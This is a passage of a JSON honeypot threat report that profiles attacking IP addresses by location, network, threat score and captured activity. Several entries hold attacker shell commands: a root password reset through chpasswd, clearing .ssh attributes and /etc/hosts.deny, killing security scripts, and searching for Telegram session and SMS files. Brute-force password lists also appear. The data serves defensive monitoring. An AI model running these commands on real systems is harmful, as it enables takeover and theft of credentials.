        "last_seen_30d": "2026-05-24T12:04:17.971000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "23.94.23.226": {
      "attack_count": 126,
      "first_seen": "2026-05-03T16:05:25.788Z",
      "last_seen": "2026-05-31T03:56:31.301Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 57.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:05:25.788000+00:00",
        "last_seen_30d": "2026-05-31T03:57:39.485000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "45.11.57.172": {
      "attack_count": 126,
      "first_seen": "2026-05-10T21:38:28.051Z",
      "last_seen": "2026-05-31T20:55:44.963Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 6698,
      "as_org": "Virtual Systems LLC",
      "threat_score": 52.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T21:38:28.051000+00:00",
        "last_seen_30d": "2026-05-31T20:56:51.875000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "113.2.170.40": {
      "attack_count": 120,
      "first_seen": "2026-05-22T20:50:20.892Z",
      "last_seen": "2026-05-23T07:48:36.519Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:50:20.892000+00:00",
        "last_seen_30d": "2026-05-23T07:49:41.563000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 120,
        "Suricata": 59
      }
    },
    "217.160.226.51": {
      "attack_count": 118,
      "first_seen": "2026-05-12T11:06:28.558Z",
      "last_seen": "2026-05-12T11:45:10.276Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0r@cl3",
        "2049",
        "3245gs5662d34",
        "345gs5662d34",
        "Server@123",
        "Zh123123",
        "alealeale",
        "asdfjkl;123",
        "billizone",
        "dev",
        "hs5fe",
        "jboss@123",
        "oakley",
        "openssh!execute",
        "p@$$w0rd",
        "qaz123wsx456",
        "servicedeskadmin",
        "storage",
        "super",
        "testappl"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 169,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:06:28.558000+00:00",
        "last_seen_30d": "2026-05-12T11:46:11.577000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 51
      }
    },
    "41.214.44.152": {
      "attack_count": 118,
      "first_seen": "2026-05-23T01:13:00.311Z",
      "last_seen": "2026-05-23T02:04:48.023Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bkp",
        "docker",
        "kk",
        "postgres",
        "server",
        "student"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "1235",
        "3245gs5662d34",
        "345gs5662d34",
        "Cisco@123",
        "bkp",
        "docker",
        "huawei@123",
        "kk",
        "qwe123@@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ww9HelwXirKP\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:13:00.311000+00:00",
        "last_seen_30d": "2026-05-23T02:05:49.889000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 34
      }
    },
    "5.181.124.17": {
      "attack_count": 118,
      "first_seen": "2026-05-24T12:25:34.355Z",
      "last_seen": "2026-05-24T13:31:30.744Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "dockeradmin",
        "jack",
        "michael",
        "steam"
      ],
      "passwords_attempted": [
        "123",
        "1qazxdr5!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa000000",
        "Cb123456@",
        "asd123456",
        "dockeradmin",
        "jack",
        "qwe123456",
        "qwerty1!",
        "steampassword"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:w4QagByJpoup\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:25:34.355000+00:00",
        "last_seen_30d": "2026-05-24T13:32:36.851000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 34
      }
    },
    "116.207.112.247": {
      "attack_count": 116,
      "first_seen": "2026-05-18T22:15:49.333Z",
      "last_seen": "2026-05-19T04:58:40.837Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 174,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:15:49.333000+00:00",
        "last_seen_30d": "2026-05-19T04:59:41.555000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 116,
        "Suricata": 58
      }
    },
    "175.8.131.227": {
      "attack_count": 114,
      "first_seen": "2026-05-20T04:17:55.736Z",
      "last_seen": "2026-05-20T11:19:31.439Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:17:55.736000+00:00",
        "last_seen_30d": "2026-05-20T11:20:33.259000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 59
      }
    },
    "46.236.65.252": {
      "attack_count": 94,
      "first_seen": "2026-05-23T08:36:01.429Z",
      "last_seen": "2026-05-23T13:50:39.854Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Ume\u00e5",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:36:01.429000+00:00",
        "last_seen_30d": "2026-05-23T13:51:43.552000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 47
      }
    },
    "111.177.99.17": {
      "attack_count": 68,
      "first_seen": "2026-05-20T10:52:37.588Z",
      "last_seen": "2026-05-20T14:49:23.581Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T10:50:52.669000+00:00",
        "last_seen_30d": "2026-05-20T14:50:25.061000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 40
      }
    },
    "103.146.110.207": {
      "attack_count": 50,
      "first_seen": "2026-05-21T03:29:19.720Z",
      "last_seen": "2026-05-21T03:34:44.261Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jhajjar",
      "asn": 139549,
      "as_org": "Crisp Enterprises",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T03:29:19.720000+00:00",
        "last_seen_30d": "2026-05-21T03:35:53.312000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.73.212": {
      "attack_count": 50,
      "first_seen": "2026-05-23T15:37:33.983Z",
      "last_seen": "2026-05-23T15:43:10.465Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T15:37:33.983000+00:00",
        "last_seen_30d": "2026-05-23T15:44:13.899000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "84.22.62.247": {
      "attack_count": 36,
      "first_seen": "2026-05-27T06:26:47.271Z",
      "last_seen": "2026-05-29T20:36:04.376Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kosovo",
      "country_code": "XK",
      "city": "Pristina",
      "asn": 33983,
      "as_org": "Artmotion Sh.p.k.",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T06:26:47.271000+00:00",
        "last_seen_30d": "2026-05-29T20:37:08.399000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "179.208.243.164": {
      "attack_count": 34,
      "first_seen": "2026-05-10T21:43:01.568Z",
      "last_seen": "2026-05-10T21:44:04.899Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T21:43:01.568000+00:00",
        "last_seen_30d": "2026-05-10T21:45:06.237000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 4
      }
    },
    "180.76.185.72": {
      "attack_count": 34,
      "first_seen": "2026-05-13T23:28:56.900Z",
      "last_seen": "2026-05-14T00:02:24.033Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "factorio",
        "root"
      ],
      "passwords_attempted": [
        "factorio",
        "tester"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T23:28:56.900000+00:00",
        "last_seen_30d": "2026-05-14T00:12:24.157000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 27
      }
    },
    "115.58.94.29": {
      "attack_count": 30,
      "first_seen": "2026-05-25T16:32:14.907Z",
      "last_seen": "2026-05-25T16:35:29.400Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T16:32:14.907000+00:00",
        "last_seen_30d": "2026-05-25T16:36:34.761000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "198.20.104.203": {
      "attack_count": 30,
      "first_seen": "2026-05-04T19:32:52.440Z",
      "last_seen": "2026-05-10T12:49:12.476Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:32:52.440000+00:00",
        "last_seen_30d": "2026-05-10T12:50:13.928000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "45.153.34.226": {
      "attack_count": 28,
      "first_seen": "2026-05-05T18:41:56.110Z",
      "last_seen": "2026-05-10T04:11:05.705Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "operator",
        "root",
        "support"
      ],
      "passwords_attempted": [
        "admin",
        "operator",
        "q1w2e3r4",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T18:41:56.110000+00:00",
        "last_seen_30d": "2026-05-10T04:12:10.719000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 17
      }
    },
    "103.39.109.165": {
      "attack_count": 25,
      "first_seen": "2026-05-27T17:46:40.762Z",
      "last_seen": "2026-05-27T17:48:50.078Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 133731,
      "as_org": "Cloudie Limited",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T17:46:40.762000+00:00",
        "last_seen_30d": "2026-05-27T17:49:51.626000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12
      }
    },
    "107.6.164.204": {
      "attack_count": 24,
      "first_seen": "2026-05-11T20:38:55.896Z",
      "last_seen": "2026-05-27T04:27:00.579Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T20:38:55.896000+00:00",
        "last_seen_30d": "2026-05-27T04:28:01.364000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "64.89.160.47": {
      "attack_count": 21,
      "first_seen": "2026-05-06T07:37:39.777Z",
      "last_seen": "2026-05-11T05:30:14.598Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "support",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "root",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T07:37:39.777000+00:00",
        "last_seen_30d": "2026-05-11T05:31:18.273000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 15,
        "Honeytrap": 2
      }
    },
    "36.231.72.211": {
      "attack_count": 20,
      "first_seen": "2026-05-19T05:31:21.438Z",
      "last_seen": "2026-05-19T06:17:14.617Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T05:31:21.438000+00:00",
        "last_seen_30d": "2026-05-19T06:18:24.295000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "196.219.175.76": {
      "attack_count": 18,
      "first_seen": "2026-05-19T08:45:32.703Z",
      "last_seen": "2026-05-19T15:28:34.663Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Damietta",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:45:32.703000+00:00",
        "last_seen_30d": "2026-05-19T15:29:41.640000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "23.95.43.222": {
      "attack_count": 18,
      "first_seen": "2026-05-05T00:21:01.636Z",
      "last_seen": "2026-05-12T04:03:55.514Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
